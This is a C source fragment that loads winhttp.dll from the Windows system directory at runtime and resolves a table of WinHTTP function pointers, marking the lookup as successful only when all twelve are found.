static void lookup_funcs (void) { HMODULE winhttp = NULL; WCHAR winhttp_dll[MAX_PATH + 100]; int n; if (lookup_done) return; n = GetSystemDirectoryW (winhttp_dll, MAX_PATH); if (n > 0 && n < MAX_PATH) { if (winhttp_dll[n-1] != L'\\' && winhttp_dll[n-1] != L'/') wcscat (winhttp_dll, L"\\"); wcscat (winhttp_dll, L"winhttp.dll"); winhttp = LoadLibraryW (winhttp_dll); } if (winhttp != NULL) { funcs.pWinHttpCloseHandle = (BOOL (WINAPI *) (HINTERNET)) GetProcAddress (winhttp, "WinHttpCloseHandle"); funcs.pWinHttpCrackUrl = (BOOL (WINAPI *) (LPCWSTR,DWORD,DWORD,LPURL_COMPONENTS)) GetProcAddress (winhttp, "WinHttpCrackUrl"); funcs.pWinHttpConnect = (HINTERNET (WINAPI *) (HINTERNET,LPCWSTR,INTERNET_PORT,DWORD)) GetProcAddress (winhttp, "WinHttpConnect"); funcs.pWinHttpCreateUrl = (BOOL (WINAPI *) (LPURL_COMPONENTS,DWORD,LPWSTR,LPDWORD)) GetProcAddress (winhttp, "WinHttpCreateUrl"); funcs.pWinHttpOpen = (HINTERNET (WINAPI *) (LPCWSTR,DWORD,LPCWSTR,LPCWSTR,DWORD)) GetProcAddress (winhttp, "WinHttpOpen"); funcs.pWinHttpOpenRequest = (HINTERNET (WINAPI *) (HINTERNET,LPCWSTR,LPCWSTR,LPCWSTR,LPCWSTR,LPCWSTR*,DWORD)) GetProcAddress (winhttp, "WinHttpOpenRequest"); funcs.pWinHttpQueryDataAvailable = (BOOL (WINAPI *) (HINTERNET,LPDWORD)) GetProcAddress (winhttp, "WinHttpQueryDataAvailable"); funcs.pWinHttpQueryHeaders = (BOOL (WINAPI *) (HINTERNET,DWORD,LPCWSTR,LPVOID,LPDWORD,LPDWORD)) GetProcAddress (winhttp, "WinHttpQueryHeaders"); funcs.pWinHttpReadData = (BOOL (WINAPI *) (HINTERNET,LPVOID,DWORD,LPDWORD)) GetProcAddress (winhttp, "WinHttpReadData"); funcs.pWinHttpReceiveResponse = (BOOL (WINAPI *) (HINTERNET,LPVOID)) GetProcAddress (winhttp, "WinHttpReceiveResponse"); funcs.pWinHttpSendRequest = (BOOL (WINAPI *) (HINTERNET,LPCWSTR,DWORD,LPVOID,DWORD,DWORD,DWORD_PTR)) GetProcAddress (winhttp, "WinHttpSendRequest"); funcs.pWinHttpWriteData = (BOOL (WINAPI *) (HINTERNET,LPCVOID,DWORD,LPDWORD)) GetProcAddress (winhttp, "WinHttpWriteData"); if (funcs.pWinHttpCloseHandle && funcs.pWinHttpCrackUrl && funcs.pWinHttpConnect && funcs.pWinHttpCreateUrl && funcs.pWinHttpOpen && funcs.pWinHttpOpenRequest && funcs.pWinHttpQueryDataAvailable && funcs.pWinHttpQueryHeaders && funcs.pWinHttpReadData && funcs.pWinHttpReceiveResponse && funcs.pWinHttpSendRequest && funcs.pWinHttpWriteData) funcs_found = TRUE; } lookup_done = TRUE; }